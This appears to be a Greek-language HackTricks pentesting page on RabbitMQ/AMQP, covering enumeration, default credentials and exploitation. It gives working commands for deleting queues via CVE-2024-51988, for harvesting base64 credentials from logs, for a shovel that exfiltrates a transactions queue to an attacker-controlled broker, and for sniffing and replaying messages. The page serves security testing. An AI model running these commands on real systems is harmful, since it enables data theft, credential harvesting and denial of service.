5671,5672 - Pentesting AMQP

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

Από cloudamqp:

RabbitMQ είναι ένα λογισμικό ουράς μηνυμάτων επίσης γνωστό ως διαμεσολαβητής μηνυμάτων ή διαχειριστής ουρών. Απλά· είναι λογισμικό όπου ορίζονται ουρές, στις οποίες συνδέονται εφαρμογές προκειμένου να μεταφέρουν ένα ή περισσότερα μηνύματα.
Ένα μήνυμα μπορεί να περιλαμβάνει οποιονδήποτε τύπο πληροφοριών. Μπορεί, για παράδειγμα, να περιέχει πληροφορίες σχετικά με μια διεργασία ή εργασία που πρέπει να ξεκινήσει σε άλλη εφαρμογή (η οποία μπορεί ακόμη και να βρίσκεται σε άλλο διακομιστή), ή μπορεί απλώς να είναι ένα απλό κείμενο. Το λογισμικό διαχείρισης ουρών αποθηκεύει τα μηνύματα μέχρι μια εφαρμογή λήψης να συνδεθεί και να πάρει ένα μήνυμα από την ουρά. Στη συνέχεια η εφαρμογή λήψης επεξεργάζεται το μήνυμα.
Ορισμός από .

Προεπιλεγμένη θύρα: 5672,5671

PORT     STATE SERVICE VERSION
5672/tcp open  amqp    RabbitMQ 3.1.5 (0-9)
  • Προεπιλεγμένα διαπιστευτήρια: guest:guest. Το RabbitMQ τα περιορίζει στο localhost μέσω του loopback_users, αλλά πολλές εικόνες Docker/IoT απενεργοποιούν αυτόν τον έλεγχο, οπότε δοκιμάστε πάντα απομακρυσμένη σύνδεση πριν υποθέσετε ότι είναι μπλοκαρισμένο.
  • Μηχανισμοί αυθεντικοποίησης: Οι PLAIN και AMQPLAIN είναι ενεργοποιημένοι από προεπιλογή, ο ANONYMOUS αντιστοιχίζεται σε anonymous_login_user/anonymous_login_pass, και ο EXTERNAL (x509) μπορεί να εκτεθεί όταν το TLS είναι ενεργοποιημένο. Καταγράψτε τι ανακοινώνει ο broker ώστε να ξέρετε αν πρέπει να δοκιμάσετε password spraying ή certificate impersonation αργότερα.

Enumeration

Manual

import amqp
# By default it uses "guest":"guest"
conn = amqp.connection.Connection(host="IP", port=5672, virtual_host="/")
conn.connect()
print("SASL mechanisms:", conn.mechanisms)
for k, v in conn.server_properties.items():
print(k, v)

Μόλις αυθεντικοποιηθείτε, εξάγετε τα conn.server_properties, conn.channel_max και conn.frame_max για να κατανοήσετε τα όρια ρυθμού μεταφοράς (throughput) και αν μπορείτε να εξαντλήσετε πόρους με πλαίσια υπερβολικού μεγέθους.

Αυτόματο

nmap -sV -Pn -n -T4 -p 5672 --script amqp-info IP

PORT     STATE SERVICE VERSION
5672/tcp open  amqp    RabbitMQ 3.1.5 (0-9)
| amqp-info:
|   capabilities:
|     publisher_confirms: YES
|     exchange_exchange_bindings: YES
|     basic.nack: YES
|     consumer_cancel_notify: YES
|   copyright: Copyright (C) 2007-2013 GoPivotal, Inc.
|   information: Licensed under the MPL.  See http://www.rabbitmq.com/
|   platform: Erlang/OTP
|   product: RabbitMQ
|   version: 3.1.5
|   mechanisms: PLAIN AMQPLAIN
|_  locales: en_US

TLS/SASL έλεγχοι

  • Probe AMQPS:
openssl s_client -alpn amqp -connect IP:5671 -tls1_3 -msg </dev/null

Αυτό leaks την αλυσίδα πιστοποιητικών, τις υποστηριζόμενες εκδόσεις TLS και αν απαιτείται mutual TLS.

  • List listeners without creds:
rabbitmq-diagnostics -q listeners

Χρήσιμο μόλις αποκτήσετε low-priv shell access στον host.

  • Spot ANONYMOUS logins: αν ο broker επιτρέπει τον μηχανισμό ANONYMOUS SASL, δοκιμάστε να συνδεθείτε με κενό username/password; ο RabbitMQ θα σας χαρτογραφήσει εσωτερικά στο anonymous_login_user (defaults to guest).

Brute Force

Exploitation Tips

Queue deletion without configure perms (CVE-2024-51988)

RabbitMQ ≤ 3.12.10 (and unpatched Tanzu builds) αποτυγχάνουν να ελέγξουν το δικαίωμα configure όταν τα queues διαγράφονται μέσω του HTTP API. Οποιοσδήποτε authenticated χρήστης με πρόσβαση στο target vhost μπορεί να nuke αυθαίρετα queues, ακόμα κι αν έχει μόνο read ή write δικαιώματα.

# confirm vulnerable version first
rabbitmqadmin -H target -P 15672 -u user -p pass show overview | grep -i version
# delete a high-value queue
curl -k -u user:pass -X DELETE https://target:15672/api/queues/%2F/payments-processing

Συνδύασέ το με rabbitmqadmin list permissions για να βρεις vhosts όπου ο low-priv user σου έχει μερική πρόσβαση, και μετά wipe queues για να προκαλέσεις denial of service ή να ενεργοποιήσεις compensating controls που παρατηρούνται στην AMQP πλευρά. Δες 15672 pentesting για περισσότερα HTTP API endpoints που μπορείς να αλυσοδέσεις με αυτό το bug.

Συλλογή credentials από τα RabbitMQ logs (CVE-2025-50200)

Μέχρι τις 4.0.8/4.1.0, το να χτυπήσεις το management API με HTTP basic auth σε ένα μη υπάρχον resource προκαλεί το broker να καταγράψει ολόκληρο το Authorization header (base64). Αν αποκτήσεις περιορισμένη πρόσβαση στο filesystem (π.χ. Docker escape, plugin RCE), ψάξε στο /var/log/rabbitmq/rabbit@*.log για Authorization: και ανάκτησε credentials για άλλους tenants ή service accounts.

curl -k -u pentester:SuperSecret https://target:15672/api/queues/%2f/ghost
sudo grep -R "Authorization:" /var/log/rabbitmq | cut -d' ' -f3 | base64 -d

Προκαλέστε αυτό εσκεμμένα με ψεύτικα endpoints για να φυτέψετε καινούρια secrets στα logs, και στη συνέχεια κάντε pivot επαναχρησιμοποιώντας τα decoded creds μέσω AMQP, STOMP, MQTT ή του ίδιου του OS.

Weaponize rabbitmqadmin-ng

rabbitmqadmin v2 (aka rabbitmqadmin-ng) είναι ένα self-contained CLI που μιλά στο management API και πλέον διανέμεται ως statically linked builds για Linux/macOS/Windows. Αποθέστε το στο bounce box σας και αυτοματοποιήστε το με script:

# enumerate live channels and prefetch pressure
rabbitmqadmin --host target --port 15672 --username user --password pass channels list --non-interactive
# clone a shovel to exfiltrate messages to attacker-controlled broker
rabbitmqadmin shovels declare_amqp091 \
--name loot \
--source-uri amqp://user:pass@target:5672/%2f \
--destination-uri amqp://attacker:pw@vps:5672/%2f \
--source-queue transactions \
--destination-queue stolen

Επειδή το εργαλείο υποστηρίζει ελέγχους υγείας με επίγνωση blue/green, μπορείτε επίσης να καταχραστείτε το rabbitmqadmin health_check port_listener --port 5672 για να επιβεβαιώσετε απομακρυσμένα αν οι TLS listeners εκτέθηκαν ή για να κρατήσετε την υπηρεσία απασχολημένη για timing probes.

Message hijacking/sniffing

Αν βρείτε χαλαρές πολιτικές (.* bindings, topic exchanges, ή x-queue-master-locator = min-masters), μπορείτε να αντλήσετε σιωπηλά μηνύματα χωρίς να τα διαγράψετε:

import pika
creds = pika.PlainCredentials('user','pass')
conn = pika.BlockingConnection(pika.ConnectionParameters('IP', 5672, '/', creds))
ch = conn.channel()
ch.queue_declare(queue='loot', exclusive=True, auto_delete=True)
ch.queue_bind(queue='loot', exchange='amq.topic', routing_key='#')
for method, props, body in ch.consume('loot', inactivity_timeout=5):
if body:
print(method.routing_key, body)

Αλλάξτε το routing key σε audit.# ή payments.* για να εστιάσετε σε ευαίσθητες ροές, και στη συνέχεια επανεκδώστε πλαστά μηνύματα αντιστρέφοντας τα επιχειρήματα του basic_publish—χρήσιμο για replay attacks εναντίον downstream microservices.

Other RabbitMQ ports

In https://www.rabbitmq.com/networking.html you can find that rabbitmq uses several ports:

  • 1883, 8883: (MQTT clients without and with TLS, if the MQTT plugin is enabled. Learn more about how to pentest MQTT here.
  • 4369: epmd, μια υπηρεσία ανακάλυψης peer που χρησιμοποιείται από κόμβους RabbitMQ και εργαλεία CLI. Learn more about how to pentest this service here.
  • 5672, 5671: χρησιμοποιούνται από AMQP 0-9-1 και 1.0 clients χωρίς και με TLS
  • 15672: HTTP API clients, management UI και rabbitmqadmin (μόνο εάν το management plugin είναι enabled). Learn more about how to pentest this service here.
  • 15674: STOMP-over-WebSockets clients (μόνο εάν το Web STOMP plugin είναι enabled)
  • 15675: MQTT-over-WebSockets clients (μόνο εάν το Web MQTT plugin είναι enabled)
  • 15692: Prometheus metrics (μόνο εάν το Prometheus plugin είναι enabled)
  • 25672: χρησιμοποιείται για επικοινωνία inter-node και εργαλεία CLI (Erlang distribution server port) και δεσμεύεται από ένα δυναμικό εύρος (περιορίζεται σε μία μόνο θύρα από προεπιλογή, υπολογιζόμενη ως AMQP port + 20000). Εκτός αν οι εξωτερικές συνδέσεις σε αυτές τις θύρες είναι πραγματικά απαραίτητες (π.χ. το cluster χρησιμοποιεί federation ή εργαλεία CLI χρησιμοποιούνται σε μηχανές εκτός του υποδικτύου), αυτές οι θύρες δεν θα πρέπει να εκτίθενται δημόσια. See networking guide for details. Μόνο 9 από αυτές τις θύρες είναι ανοιχτές στο διαδίκτυο.
  • 35672-35682: χρησιμοποιούνται από εργαλεία CLI (Erlang distribution client ports) για επικοινωνία με κόμβους και δεσμεύονται από ένα δυναμικό εύρος (υπολογίζεται ως server distribution port + 10000 έως server distribution port + 10010). See networking guide for details.
  • 61613, 61614: STOMP clients χωρίς και με TLS (μόνο εάν το STOMP plugin είναι enabled). Λιγότερες από 10 συσκευές με αυτή τη θύρα ανοιχτή και κυρίως UDP για DHT nodes.

See also

4222 Pentesting Nats

Shodan

  • AMQP

References

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks